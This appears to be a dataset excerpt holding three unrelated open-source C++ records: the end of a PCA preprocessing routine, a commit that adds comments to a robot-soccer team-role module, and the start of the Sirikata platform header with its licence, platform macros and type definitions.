i--)\n\t\t\t{\n\t\t\t\tnum_dim++;\n\t\t\t\tcom_sum += m_eigenvalues_vector.vector[i];\n\t\t\t\tif (com_sum\/eig_sum>=thresh)\n\t\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\t\tif (m_mode == THRESHOLD)\n\t\t{\n\t\t\tfor (i=num_features-1; i>-1; i--)\n\t\t\t{\n\t\t\t\tif (m_eigenvalues_vector.vector[i]>thresh)\n\t\t\t\t\tnum_dim++;\n\t\t\t\telse\n\t\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\n\t\tSG_INFO(\"Done\\nReducing from %i to %i features..\", num_features, num_dim)\n\n\t\tm_transformation_matrix = SGMatrix<float64_t>(num_features,num_dim);\n\t\tnum_old_dim = num_features;\n\n\t\tint32_t offs=0;\n\t\tfor (i=num_features-num_dim; i<num_features; i++)\n\t\t{\n\t\t\tfor (k=0; k<num_features; k++)\n\t\t\t\tif (m_whitening)\n\t\t\t\t\tm_transformation_matrix.matrix[offs+k*num_dim] =\n\t\t\t\t\t\tcov[num_features*i+k]\/sqrt(m_eigenvalues_vector.vector[i]);\n\t\t\t\telse\n\t\t\t\t\tm_transformation_matrix.matrix[offs+k*num_dim] =\n\t\t\t\t\t\tcov[num_features*i+k];\n\t\t\toffs++;\n\t\t}\n\n\t\tSG_FREE(cov);\n\t\tm_initialized = true;\n\t\treturn true;\n\t}\n\n\treturn false;\n}\n\nvoid CPCA::cleanup()\n{\n\tm_transformation_matrix=SGMatrix<float64_t>();\n}\n\n#ifdef HAVE_EIGEN3\nSGMatrix<float64_t> CPCA::apply_to_feature_matrix(CFeatures* features)\n{\n\tASSERT(m_initialized)\n\tSGMatrix<float64_t> m = ((CDenseFeatures<float64_t>*) features)->get_feature_matrix();\n\tint32_t num_vectors = m.num_cols;\n\tint32_t num_features = m.num_rows;\n\tSG_INFO(\"get Feature matrix: %ix%i\\n\", num_vectors, num_features)\n\n\tMatrixXd final_feature_matrix;\n\t\n\tif (m.matrix)\n\t{\n\t\tSG_INFO(\"Preprocessing feature matrix\\n\")\n\t\tMap<MatrixXd> feature_matrix(m.matrix, num_features, num_vectors);\n\t\tVectorXd data_mean = feature_matrix.rowwise().sum()\/(float64_t) num_vectors;\n\t\tMatrixXd feature_matrix_centered = feature_matrix.colwise()-data_mean;\n\n\t\tSG_INFO(\"Transforming feature matrix\\n\")\n\t\tMap<MatrixXd> transform_matrix(m_transformation_matrix.matrix, \n\t\t\tm_transformation_matrix.num_rows, m_transformation_matrix.num_cols);\n\t\tfinal_feature_matrix = transform_matrix.transpose()*feature_matrix_centered;\n\t}\n\t\n\tSGMatrix<float64_t> result_matrix = SGMatrix<float64_t>(num_dim, num_vectors);\n\tfor (int32_t c=0; c<num_vectors; c++)\n\t{\n\t\tfor (int32_t r=0; r<num_dim; r++)\n\t\t\tresult_matrix.matrix[c*num_dim+r] = final_feature_matrix(r,c); \n\t} \n\n\treturn result_matrix;\n}\n#endif \/\/HAVE_EIGEN3\n\nSGVector<float64_t> CPCA::apply_to_feature_vector(SGVector<float64_t> vector)\n{\n\tfloat64_t* result = SG_MALLOC(float64_t, num_dim);\n\tfloat64_t* sub_mean = SG_MALLOC(float64_t, vector.vlen);\n\n\tfor (int32_t i=0; i<vector.vlen; i++)\n\t\tsub_mean[i]=vector.vector[i]-m_mean_vector.vector[i];\n\n\tcblas_dgemv(CblasColMajor,CblasNoTrans,\n\t num_dim,vector.vlen,\n\t 1.0,m_transformation_matrix.matrix,m_transformation_matrix.num_cols,\n\t sub_mean,1,\n\t 0.0,result,1);\n\n\tSG_FREE(sub_mean);\n\treturn SGVector<float64_t>(result,num_dim);\n}\n\nSGMatrix<float64_t> CPCA::get_transformation_matrix()\n{\n\treturn m_transformation_matrix;\n}\n\nSGVector<float64_t> CPCA::get_eigenvalues()\n{\n\treturn m_eigenvalues_vector;\n}\n\nSGVector<float64_t> CPCA::get_mean()\n{\n\treturn m_mean_vector;\n}\n\n#endif \/* HAVE_LAPACK *\/\n<|endoftext|>"} {"text":"<commit_before>\/**\n * @file: TeamSymbols.cpp\n * @author: <a href=\"mailto:scheunem@informatik.hu-berlin.de\">Marcus Scheunemann<\/a>\n *\n * First created on 9. April 2009, 18:10\n *\/\n\n#include \"TeamSymbols.h\"\n\nvoid TeamSymbols::registerSymbols(xabsl::Engine& engine)\n{\n engine.registerDecimalInputSymbol(\"team.members_alive_count\", &getTeamMembersAliveCount);\n engine.registerBooleanInputSymbol(\"team.calc_if_is_striker\", &calculateIfStriker);\n engine.registerBooleanInputSymbol(\"team.calc_if_is_striker_by_time_to_ball\", &calculateIfStriker_byTimeToBall);\n engine.registerBooleanOutputSymbol(\"team.is_playing_as_striker\",&setWasStriker, &getWasStriker);\n engine.registerBooleanInputSymbol(\"team.calc_if_is_the_last\", &calculateIfTheLast);\n}\n\n\nTeamSymbols* TeamSymbols::theInstance = NULL;\n\nvoid TeamSymbols::execute()\n{\n}\n\ndouble TeamSymbols::getTeamMembersAliveCount()\n{\n int counter = 0;\n\n for(std::map<unsigned int, TeamMessage::Data>::const_iterator i=theInstance->getTeamMessage().data.begin();\n i != theInstance->getTeamMessage().data.end(); ++i)\n {\n const TeamMessage::Data& messageData = i->second;\n\n \/\/ \"alive\" means sent something in the last n seconds\n if(theInstance->getFrameInfo().getTimeSince(messageData.frameInfo.getTime()) < theInstance->parameters.maximumFreshTime)\n {\n counter++;\n }\n }\/\/end for\n\n return (double) counter;\n}\/\/end getTeamMembersAliveCount\n\nbool TeamSymbols::getWasStriker()\n{\n return theInstance->getPlayerInfo().isPlayingStriker;\n}\n\nvoid TeamSymbols::setWasStriker(bool striker)\n{\n theInstance->getPlayerInfo().isPlayingStriker = striker;\n}\n\nbool TeamSymbols::calculateIfStriker()\n{\n TeamMessage const& tm = theInstance->getTeamMessage();\n\n \/\/ initialize with max-values. Every Robot must start with same values!\n double shortestDistance = theInstance->getFieldInfo().xFieldLength;\n unsigned int playerNearestToBall = 0; \/\/nobody near to ball\n\n \/\/if someone is striker, leave! Goalie can be striker (while f.e. clearing ball)\n for(std::map<unsigned int, TeamMessage::Data>::const_iterator i=tm.data.begin(); i != tm.data.end(); ++i) {\n const TeamMessage::Data& messageData = i->second;\n const unsigned int number = i->first;\n\n if((theInstance->getFrameInfo().getTimeSince(i->second.frameInfo.getTime()) < theInstance->parameters.maximumFreshTime) && \/\/ the message is fresh...\n number != theInstance->getPlayerInfo().gameData.playerNumber && \/\/ its not me...\n messageData.wasStriker \/\/ the guy wants to be striker...\n ) {\n return false; \/\/ let him go :)\n }\n }\/\/end for\n\n \/\/ all team members except goalie!! otherwise goalie is nearest and all thinks he is striker, but he won't clear ball\n \/\/should check who has best position to goal etc.\n for(std::map<unsigned int, TeamMessage::Data>::const_iterator i=tm.data.begin(); i != tm.data.end(); ++i) {\n const TeamMessage::Data& messageData = i->second;\n const unsigned int number = i->first;\n\n double time_bonus = messageData.wasStriker?theInstance->parameters.strikerBonusTime:0.0;\n\n if (!messageData.fallen\n && !messageData.isPenalized\n && number != 1 \/\/ goalie is not considered\n && theInstance->getFrameInfo().getTimeSince(i->second.frameInfo.getTime()) < theInstance->parameters.maximumFreshTime \/\/ its fresh\n && (messageData.ballAge >= 0 && messageData.ballAge < theInstance->parameters.maxBallLostTime+time_bonus )\/\/ the guy sees the ball\n ) {\n Vector2d ballPos = messageData.ballPosition;\n double ballDistance = ballPos.abs();\n\n \/\/ striker bonus\n if (messageData.wasStriker)\n ballDistance -= 100;\n\n \/\/ remember the closest guy\n if(ballDistance < shortestDistance) {\n shortestDistance = ballDistance;\n playerNearestToBall = number;\n } \n }\/\/end if\n }\/\/end for\n\n \/\/ am I the closest one?\n return playerNearestToBall == theInstance->getPlayerInfo().gameData.playerNumber;\n}\/\/end calculateIfStriker\n\nbool TeamSymbols::calculateIfStriker_byTimeToBall()\n{\n TeamMessage const& tm = theInstance->getTeamMessage();\n\n double shortestTime = theInstance->getSoccerStrategy().timeToBall;\n if (theInstance->getPlayerInfo().isPlayingStriker)\n shortestTime-=100;\n\n for (std::map<unsigned int, TeamMessage::Data>::const_iterator i=tm.data.begin(); i != tm.data.end(); ++i) {\n const TeamMessage::Data& msg = i->second;\n unsigned int robotNumber = i->first;\n double failureProbability = 0.0;\n std::map<unsigned int, double>::const_iterator robotFailure = theInstance->getTeamMessageStatisticsModel().failureProbabilities.find(robotNumber);\n if (robotFailure != theInstance->getTeamMessageStatisticsModel().failureProbabilities.end()) { \n failureProbability = robotFailure->second;\n }\n if (robotNumber != theInstance->getPlayerInfo().gameData.playerNumber\n && msg.wasStriker \/\/Robot considers itself the striker\n && !msg.isPenalized\n && failureProbability < theInstance->parameters.minFailureProbability \/\/Message is fresh\n && msg.ballAge >= 0 \/\/Ball has been seen\n && msg.ballAge + theInstance->getFrameInfo().getTimeSince(i->second.frameInfo.getTime()) < theInstance->parameters.maximumFreshTime) { \/\/Ball is fresh\n if(msg.timeToBall < shortestTime) {\n return false;\n }\n }\n }\/\/end for\n\n return true;\n\n}\/\/end calculateIfStriker_byTimeToBall\n\nTeamSymbols::~TeamSymbols()\n{\n}\n\n\/** the robot which is closest to own goal is defined as the last one *\/\nbool TeamSymbols::calculateIfTheLast()\n{\n TeamMessage const& tm = theInstance->getTeamMessage();\n\n \/\/ initialize with own values\n double shortestDistance = (theInstance->getRobotPose().translation - theInstance->getFieldInfo().ownGoalCenter).abs();\n\n double secondShortestDistance = std::numeric_limits<double>::max();\n\n unsigned int playerNearestToOwnGoal = theInstance->getPlayerInfo().gameData.playerNumber;\n unsigned int playerAlmostNearestToOwnGoal = std::numeric_limits<unsigned int>::max();\n\n\n \/\/ check all non-penalized and non-striker team members\n for(std::map<unsigned int, TeamMessage::Data>::const_iterator i=tm.data.begin();\n i != tm.data.end(); ++i)\n {\n const TeamMessage::Data& messageData = i->second;\n const int number = i->first;\n\n if ((theInstance->getFrameInfo().getTimeSince(messageData.frameInfo.getTime())\n < theInstance->parameters.maximumFreshTime) && \/\/ alive?\n !messageData.isPenalized && \/\/ not penalized?\n !messageData.wasStriker &&\n number != 1 && \/\/ no goalie\n \/\/ we are already considered by the initial values\n messageData.playerNum != theInstance->getPlayerInfo().gameData.playerNumber\n )\n {\n Vector2d robotpos = messageData.pose.translation;\n double d = (robotpos-theInstance->getFieldInfo().ownGoalCenter).abs();\n if ( d < shortestDistance )\n {\n \/\/ std::cout << \"(old) secDist=\" << secondShortestDistance << \" secNum=\"\n \/\/ << playerAlmostNearestToOwnGoal << \" firstDist=\" << shortestDistance\n \/\/ << \" firstNum=\" << playerNearestToOwnGoal << std::endl;\n\n \/\/ exchange the second shortest distance\n secondShortestDistance = shortestDistance;\n playerAlmostNearestToOwnGoal = playerNearestToOwnGoal;\n\n \/\/std::cout << \"(after exchange) secDist=\" << secondShortestDistance << \" secNum=\"\n \/\/ << playerAlmostNearestToOwnGoal << \" firstDist=\" << shortestDistance\n \/\/ << \" firstNum=\" << playerNearestToOwnGoal << std::endl;\n\n \/\/ set new nearest\n shortestDistance = d;\n playerNearestToOwnGoal = number;\n\n \/\/std::cout << \"(new) secDist=\" << secondShortestDistance << \" secNum=\"\n \/\/ << playerAlmostNearestToOwnGoal << \" firstDist=\" << shortestDistance\n \/\/ << \" firstNum=\" << playerNearestToOwnGoal << std::endl;\n }\n }\/\/end if\n }\/\/end for\n\n\/\/ std::cout << \"==========\" << std::endl;\n\n if(fabs(secondShortestDistance-shortestDistance) < 500)\n {\n \/\/ distance of distance is less than half a meter, choose if we have the\n \/\/ lowest player number\n if(playerNearestToOwnGoal == theInstance->getPlayerInfo().gameData.playerNumber)\n {\n return playerNearestToOwnGoal < playerAlmostNearestToOwnGoal;\n }\n else if(playerAlmostNearestToOwnGoal == theInstance->getPlayerInfo().gameData.playerNumber)\n {\n return playerAlmostNearestToOwnGoal < playerNearestToOwnGoal;\n }\n else\n {\n return false;\n }\n }\n else\n {\n \/\/ is it me?\n return playerNearestToOwnGoal == theInstance->getPlayerInfo().gameData.playerNumber;\n }\n}\/\/end calculateIfTheLast\n<commit_msg>Changed some comments.<commit_after>\/**\n * @file: TeamSymbols.cpp\n * @author: <a href=\"mailto:scheunem@informatik.hu-berlin.de\">Marcus Scheunemann<\/a>\n *\n * First created on 9. April 2009, 18:10\n *\/\n\n#include \"TeamSymbols.h\"\n\nvoid TeamSymbols::registerSymbols(xabsl::Engine& engine)\n{\n engine.registerDecimalInputSymbol(\"team.members_alive_count\", &getTeamMembersAliveCount);\n engine.registerBooleanInputSymbol(\"team.calc_if_is_striker\", &calculateIfStriker);\n engine.registerBooleanInputSymbol(\"team.calc_if_is_striker_by_time_to_ball\", &calculateIfStriker_byTimeToBall);\n engine.registerBooleanOutputSymbol(\"team.is_playing_as_striker\",&setWasStriker, &getWasStriker);\n engine.registerBooleanInputSymbol(\"team.calc_if_is_the_last\", &calculateIfTheLast);\n}\n\n\nTeamSymbols* TeamSymbols::theInstance = NULL;\n\nvoid TeamSymbols::execute()\n{\n}\n\ndouble TeamSymbols::getTeamMembersAliveCount()\n{\n int counter = 0;\n\n for(std::map<unsigned int, TeamMessage::Data>::const_iterator i=theInstance->getTeamMessage().data.begin();\n i != theInstance->getTeamMessage().data.end(); ++i)\n {\n const TeamMessage::Data& messageData = i->second;\n\n \/\/ \"alive\" means sent something in the last n seconds\n if(theInstance->getFrameInfo().getTimeSince(messageData.frameInfo.getTime()) < theInstance->parameters.maximumFreshTime)\n {\n counter++;\n }\n }\/\/end for\n\n return (double) counter;\n}\/\/end getTeamMembersAliveCount\n\nbool TeamSymbols::getWasStriker()\n{\n return theInstance->getPlayerInfo().isPlayingStriker;\n}\n\nvoid TeamSymbols::setWasStriker(bool striker)\n{\n theInstance->getPlayerInfo().isPlayingStriker = striker;\n}\n\nbool TeamSymbols::calculateIfStriker()\n{\n TeamMessage const& tm = theInstance->getTeamMessage();\n\n \/\/ initialize with max-values. Every Robot must start with same values!\n double shortestDistance = theInstance->getFieldInfo().xFieldLength;\n unsigned int playerNearestToBall = 0; \/\/nobody near to ball\n\n \/\/if someone is striker, leave! Goalie can be striker (while f.e. clearing ball)\n for(std::map<unsigned int, TeamMessage::Data>::const_iterator i=tm.data.begin(); i != tm.data.end(); ++i) {\n const TeamMessage::Data& messageData = i->second;\n const unsigned int number = i->first;\n\n if((theInstance->getFrameInfo().getTimeSince(i->second.frameInfo.getTime()) < theInstance->parameters.maximumFreshTime) && \/\/ the message is fresh...\n number != theInstance->getPlayerInfo().gameData.playerNumber && \/\/ its not me...\n messageData.wasStriker \/\/ the guy wants to be striker...\n ) {\n return false; \/\/ let him go :)\n }\n }\/\/end for\n\n \/\/ all team members except goalie!! otherwise goalie is nearest and all thinks he is striker, but he won't clear ball\n \/\/should check who has best position to goal etc.\n for(std::map<unsigned int, TeamMessage::Data>::const_iterator i=tm.data.begin(); i != tm.data.end(); ++i) {\n const TeamMessage::Data& messageData = i->second;\n const unsigned int number = i->first;\n\n double time_bonus = messageData.wasStriker?theInstance->parameters.strikerBonusTime:0.0;\n\n if (!messageData.fallen\n && !messageData.isPenalized\n && number != 1 \/\/ goalie is not considered\n && theInstance->getFrameInfo().getTimeSince(i->second.frameInfo.getTime()) < theInstance->parameters.maximumFreshTime \/\/ its fresh\n && (messageData.ballAge >= 0 && messageData.ballAge < theInstance->parameters.maxBallLostTime+time_bonus )\/\/ the guy sees the ball\n ) {\n Vector2d ballPos = messageData.ballPosition;\n double ballDistance = ballPos.abs();\n\n \/\/ striker bonus\n if (messageData.wasStriker)\n ballDistance -= 100;\n\n \/\/ remember the closest guy\n if(ballDistance < shortestDistance) {\n shortestDistance = ballDistance;\n playerNearestToBall = number;\n } \n }\/\/end if\n }\/\/end for\n\n \/\/ am I the closest one?\n return playerNearestToBall == theInstance->getPlayerInfo().gameData.playerNumber;\n}\/\/end calculateIfStriker\n\nbool TeamSymbols::calculateIfStriker_byTimeToBall()\n{\n TeamMessage const& tm = theInstance->getTeamMessage();\n\n double shortestTime = theInstance->getSoccerStrategy().timeToBall;\n if (theInstance->getPlayerInfo().isPlayingStriker)\n shortestTime-=100;\n\n for (std::map<unsigned int, TeamMessage::Data>::const_iterator i=tm.data.begin(); i != tm.data.end(); ++i) {\n const TeamMessage::Data& msg = i->second;\n unsigned int robotNumber = i->first;\n double failureProbability = 0.0;\n std::map<unsigned int, double>::const_iterator robotFailure = theInstance->getTeamMessageStatisticsModel().failureProbabilities.find(robotNumber);\n if (robotFailure != theInstance->getTeamMessageStatisticsModel().failureProbabilities.end()) { \n failureProbability = robotFailure->second;\n } \/\/Failure probability will be 0, if there is no entry about this robot in the TeamMessageStatistics\n if (\n robotNumber != theInstance->getPlayerInfo().gameData.playerNumber \/\/If this player is not us\n && msg.wasStriker \/\/Robot considers itself the striker\n && !msg.isPenalized\n && failureProbability < theInstance->parameters.minFailureProbability \/\/Message is fresh\n && msg.ballAge >= 0 \/\/Ball has been seen\n && msg.ballAge + theInstance->getFrameInfo().getTimeSince(i->second.frameInfo.getTime()) < theInstance->parameters.maximumFreshTime \/\/Ball is fresh\n && msg.timeToBall < shortestTime) { \/\/Other player is closer to ball than us\n return false;\n }\n }\/\/end for\n\n return true;\n\n}\/\/end calculateIfStriker_byTimeToBall\n\nTeamSymbols::~TeamSymbols()\n{\n}\n\n\/** the robot which is closest to own goal is defined as the last one *\/\nbool TeamSymbols::calculateIfTheLast()\n{\n TeamMessage const& tm = theInstance->getTeamMessage();\n\n \/\/ initialize with own values\n double shortestDistance = (theInstance->getRobotPose().translation - theInstance->getFieldInfo().ownGoalCenter).abs();\n\n double secondShortestDistance = std::numeric_limits<double>::max();\n\n unsigned int playerNearestToOwnGoal = theInstance->getPlayerInfo().gameData.playerNumber;\n unsigned int playerAlmostNearestToOwnGoal = std::numeric_limits<unsigned int>::max();\n\n\n \/\/ check all non-penalized and non-striker team members\n for(std::map<unsigned int, TeamMessage::Data>::const_iterator i=tm.data.begin();\n i != tm.data.end(); ++i)\n {\n const TeamMessage::Data& messageData = i->second;\n const int number = i->first;\n\n if ((theInstance->getFrameInfo().getTimeSince(messageData.frameInfo.getTime())\n < theInstance->parameters.maximumFreshTime) && \/\/ alive?\n !messageData.isPenalized && \/\/ not penalized?\n !messageData.wasStriker &&\n number != 1 && \/\/ no goalie\n \/\/ we are already considered by the initial values\n messageData.playerNum != theInstance->getPlayerInfo().gameData.playerNumber\n )\n {\n Vector2d robotpos = messageData.pose.translation;\n double d = (robotpos-theInstance->getFieldInfo().ownGoalCenter).abs();\n if ( d < shortestDistance )\n {\n \/\/ std::cout << \"(old) secDist=\" << secondShortestDistance << \" secNum=\"\n \/\/ << playerAlmostNearestToOwnGoal << \" firstDist=\" << shortestDistance\n \/\/ << \" firstNum=\" << playerNearestToOwnGoal << std::endl;\n\n \/\/ exchange the second shortest distance\n secondShortestDistance = shortestDistance;\n playerAlmostNearestToOwnGoal = playerNearestToOwnGoal;\n\n \/\/std::cout << \"(after exchange) secDist=\" << secondShortestDistance << \" secNum=\"\n \/\/ << playerAlmostNearestToOwnGoal << \" firstDist=\" << shortestDistance\n \/\/ << \" firstNum=\" << playerNearestToOwnGoal << std::endl;\n\n \/\/ set new nearest\n shortestDistance = d;\n playerNearestToOwnGoal = number;\n\n \/\/std::cout << \"(new) secDist=\" << secondShortestDistance << \" secNum=\"\n \/\/ << playerAlmostNearestToOwnGoal << \" firstDist=\" << shortestDistance\n \/\/ << \" firstNum=\" << playerNearestToOwnGoal << std::endl;\n }\n }\/\/end if\n }\/\/end for\n\n\/\/ std::cout << \"==========\" << std::endl;\n\n if(fabs(secondShortestDistance-shortestDistance) < 500)\n {\n \/\/ distance of distance is less than half a meter, choose if we have the\n \/\/ lowest player number\n if(playerNearestToOwnGoal == theInstance->getPlayerInfo().gameData.playerNumber)\n {\n return playerNearestToOwnGoal < playerAlmostNearestToOwnGoal;\n }\n else if(playerAlmostNearestToOwnGoal == theInstance->getPlayerInfo().gameData.playerNumber)\n {\n return playerAlmostNearestToOwnGoal < playerNearestToOwnGoal;\n }\n else\n {\n return false;\n }\n }\n else\n {\n \/\/ is it me?\n return playerNearestToOwnGoal == theInstance->getPlayerInfo().gameData.playerNumber;\n }\n}\/\/end calculateIfTheLast\n<|endoftext|>"} {"text":"<commit_before>\/* Sirikata -- Platform Dependent Definitions\n * Platform.hpp\n *\n * Copyright (c) 2009, Ewen Cheslack-Postava and Daniel Reiter Horn\n * All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions are\n * met:\n * * Redistributions of source code must retain the above copyright\n * notice, this list of conditions and the following disclaimer.\n * * Redistributions in binary form must reproduce the above copyright\n * notice, this list of conditions and the following disclaimer in\n * the documentation and\/or other materials provided with the\n * distribution.\n * * Neither the name of Sirikata nor the names of its contributors may\n * be used to endorse or promote products derived from this software\n * without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS\n * IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED\n * TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A\n * PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER\n * OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,\n * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,\n * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR\n * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF\n * LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING\n * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS\n * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n *\/\n\n#ifndef _SIRIKATA_PLATFORM_HPP_\n#define _SIRIKATA_PLATFORM_HPP_\n\n\n#define PLATFORM_WINDOWS 0\n#define PLATFORM_LINUX 1\n#define PLATFORM_MAC 2\n\n\n#if defined(__WIN32__) || defined(_WIN32)\n\/\/ disable type needs to have dll-interface to be used byu clients due to STL member variables which are not public\n#pragma warning (disable: 4251)\n\/\/disable warning about no suitable definition provided for explicit template instantiation request which seems to have no resolution nor cause any problems\n#pragma warning (disable: 4661)\n\/\/disable non dll-interface class used as base for dll-interface class when deriving from singleton\n#pragma warning (disable : 4275)\n# define SIRIKATA_PLATFORM PLATFORM_WINDOWS\n#elif defined(__APPLE_CC__) || defined(__APPLE__)\n# define SIRIKATA_PLATFORM PLATFORM_MAC\n# ifndef __MACOSX__\n# define __MACOSX__\n# endif\n#else\n# define SIRIKATA_PLATFORM PLATFORM_LINUX\n#endif\n\n#ifdef NDEBUG\n#define SIRIKATA_DEBUG 0\n#else\n#define SIRIKATA_DEBUG 1\n#endif\n\n#ifndef SIRIKATA_EXPORT\n# if SIRIKATA_PLATFORM == PLATFORM_WINDOWS\n# if defined(STATIC_LINKED)\n# define SIRIKATA_EXPORT\n# else\n# if defined(SIRIKATA_BUILD)\n# define SIRIKATA_EXPORT __declspec(dllexport)\n# else\n# define SIRIKATA_EXPORT __declspec(dllimport)\n# endif\n# endif\n# define SIRIKATA_PLUGIN_EXPORT __declspec(dllexport)\n# else\n# if defined(__GNUC__) && __GNUC__ >= 4\n# define SIRIKATA_EXPORT __attribute__ ((visibility(\"default\")))\n# define SIRIKATA_PLUGIN_EXPORT __attribute__ ((visibility(\"default\")))\n# else\n# define SIRIKATA_EXPORT\n# define SIRIKATA_PLUGIN_EXPORT\n# endif\n# endif\n#endif\n\n\n#ifndef SIRIKATA_FUNCTION_EXPORT\n# if SIRIKATA_PLATFORM == PLATFORM_WINDOWS\n# if defined(STATIC_LINKED)\n# define SIRIKATA_FUNCTION_EXPORT\n# else\n# if defined(SIRIKATA_BUILD)\n# define SIRIKATA_FUNCTION_EXPORT __declspec(dllexport)\n# else\n# define SIRIKATA_FUNCTION_EXPORT __declspec(dllimport)\n# endif\n# endif\n# else\n# define SIRIKATA_FUNCTION_EXPORT\n# endif\n#endif\n\n\n\n#ifndef SIRIKATA_EXPORT_C\n# define SIRIKATA_EXPORT_C extern \"C\" SIRIKATA_EXPORT\n#endif\n\n#ifndef SIRIKATA_PLUGIN_EXPORT_C\n# define SIRIKATA_PLUGIN_EXPORT_C extern \"C\" SIRIKATA_PLUGIN_EXPORT\n#endif\n\n\n#ifdef __GLIBC__\n# include <endian.h>\n# define SIRIKATA_LITTLE_ENDIAN __LITTLE_ENDIAN\n# define SIRIKATA_BIG_ENDIAN __BIG_ENDIAN\n# define SIRIKATA_BYTE_ORDER __BYTE_ORDER\n#elif defined(__APPLE__) || defined(MACOSX) || defined(BSD) || defined(__FreeBSD__)\n# include<machine\/endian.h>\n# ifdef BYTE_ORDER\n# define SIRIKATA_LITTLE_ENDIAN LITTLE_ENDIAN\n# define SIRIKATA_BIG_ENDIAN BIG_ENDIAN\n# define SIRIKATA_BYTE_ORDER BYTE_ORDER\n# else\n# error \"MACINTOSH DOES NOT DEFINE ENDIANNESS\"\n# endif\n#else\n# define SIRIKATA_LITTLE_ENDIAN 1234\n# define SIRIKATA_BIG_ENDIAN 4321\n# ifdef _BIG_ENDIAN\n# define SIRIKATA_BYTE_ORDER SIRIKATA_BIG_ENDIAN\n# ifdef _LITTLE_ENDIAN\n# error \"BOTH little and big endian defined\"\n# endif\n# else\n# ifdef _LITTLE_ENDIAN\n# define SIRIKATA_BYTE_ORDER SIRIKATA_LITTLE_ENDIAN\n# elif defined(__sparc) || defined(__sparc__) \\\n || defined(_POWER) || defined(__powerpc__) \\\n || defined(__ppc__) || defined(__hpux) \\\n || defined(_MIPSEB) || defined(_POWER) \\\n || defined(__s390__)\n# define SIRIKATA_BYTE_ORDER SIRIKATA_BIG_ENDIAN\n# elif defined(__i386__) || defined(__alpha__) \\\n || defined(__ia64) || defined(__ia64__) \\\n || defined(_M_IX86) || defined(_M_IA64) \\\n || defined(_M_ALPHA) || defined(__amd64) \\\n || defined(__amd64__) || defined(_M_AMD64) \\\n || defined(__x86_64) || defined(__x86_64__) \\\n || defined(_M_X64)\n# define SIRIKATA_BYTE_ORDER SIRIKATA_LITTLE_ENDIAN\n# else\n# error \"Not a known CPU type\"\n# endif\n# endif\n#endif\n\n#if SIRIKATA_PLATFORM == PLATFORM_WINDOWS\n#ifndef NOMINMAX\n#define NOMINMAX\n#endif\n#define WIN32_LEAN_AND_MEAN\n#include <windows.h>\n\/\/need to get rid of GetMessage for protocol buffer compatibility\n#undef GetMessage\n#endif\n\n#include <assert.h>\n#include <cstddef>\n#include <cstring>\n#include <cmath>\n#include <fstream>\n#include <iostream>\n#include <string>\n#include <sstream>\n#include <vector>\n#include <list>\n#include <queue>\n#include <deque>\n#include <set>\n#include <map>\n#include <algorithm>\n\n#ifdef __GNUC__\n\/\/ Required for OGRE.\n#if (__GNUC__ == 4 && __GNUC_MINOR__ >= 3) || __GNUC__ > 4\n#define BOOST_HAS_GCC_TR1\n\n\/\/ #include_next is broken: it does not search default include paths!\n#define BOOST_TR1_DISABLE_INCLUDE_NEXT\n\/\/ config_all.hpp reads this variable, then sets BOOST_HAS_INCLUDE_NEXT anyway\n#include <boost\/tr1\/detail\/config_all.hpp>\n#ifdef BOOST_HAS_INCLUDE_NEXT\n\/\/ This behavior has existed since boost 1.34, unlikely to change.\n#undef BOOST_HAS_INCLUDE_NEXT\n#endif\n\n#endif\n#endif\n\n#include <boost\/tr1\/memory.hpp>\n#include <boost\/tr1\/array.hpp>\n#include <boost\/tr1\/functional.hpp>\n#include <boost\/tr1\/unordered_set.hpp>\n#include <boost\/tr1\/unordered_map.hpp>\n\nnamespace Sirikata {\n\n\/\/ numeric typedefs to get standardized types\ntypedef unsigned char uchar;\n#if SIRIKATA_PLATFORM == PLATFORM_WINDOWS\n#ifndef NOMINMAX\n#define NOMINMAX\n#endif\ntypedef __int8 int8;\ntypedef unsigned __int8 uint8;\ntypedef __int16 int16;\ntypedef unsigned __int16 uint16;\ntypedef __int32 int32;\ntypedef unsigned __int32 uint32;\ntypedef __int64 int64;\ntypedef unsigned __int64 uint64;\n\n#else\n# include <stdint.h>\ntypedef int8_t int8;\ntypedef uint8_t uint8;\ntypedef int16_t int16;\ntypedef uint16_t uint16;\ntypedef int32_t int32;\ntypedef uint32_t uint32;\ntypedef int64_t int64;\ntypedef uint64_t uint64;\n#endif\n\ntypedef float float32;\ntypedef double float64;\n\ntypedef uchar byte;\ntypedef std::string String;\ntypedef std::vector<uint8> MemoryBuffer;\n\nnamespace Network {\nclass IOService;\nclass Stream;\nclass Address;\ntypedef std::vector<uint8> Chunk;\n}\n#ifdef NDEBUG\nclass ThreadIdCheck{};\n#else\nclass ThreadIdCheck { public:\n unsigned int mThreadId;\n};\n#endif\nclass RoutableMessageHeader;\nclass RoutableMessage;\nclass RoutableMessageBody;\n} \/\/ namespace Sirikata\n#include \"MemoryReference.hpp\"\n#include \"MessageService.hpp\"\n#include \"TotallyOrdered.hpp\"\n#include \"Singleton.hpp\"\n#include \"Factory.hpp\"\n#include \"Vector2.hpp\"\n#include \"Vector3.hpp\"\n#include \"Vector4.hpp\"\n#include \"Matrix3x3.hpp\"\n#include \"Quaternion.hpp\"\n#include \"SolidAngle.hpp\"\n#include \"SelfWeakPtr.hpp\"\n#include \"Noncopyable.hpp\"\n#include \"Array.hpp\"\n#include \"options\/OptionValue.hpp\"\n#include \"Logging.hpp\"\n#include \"Location.hpp\"\n#include \"VInt.hpp\"\nnamespace Sirikata 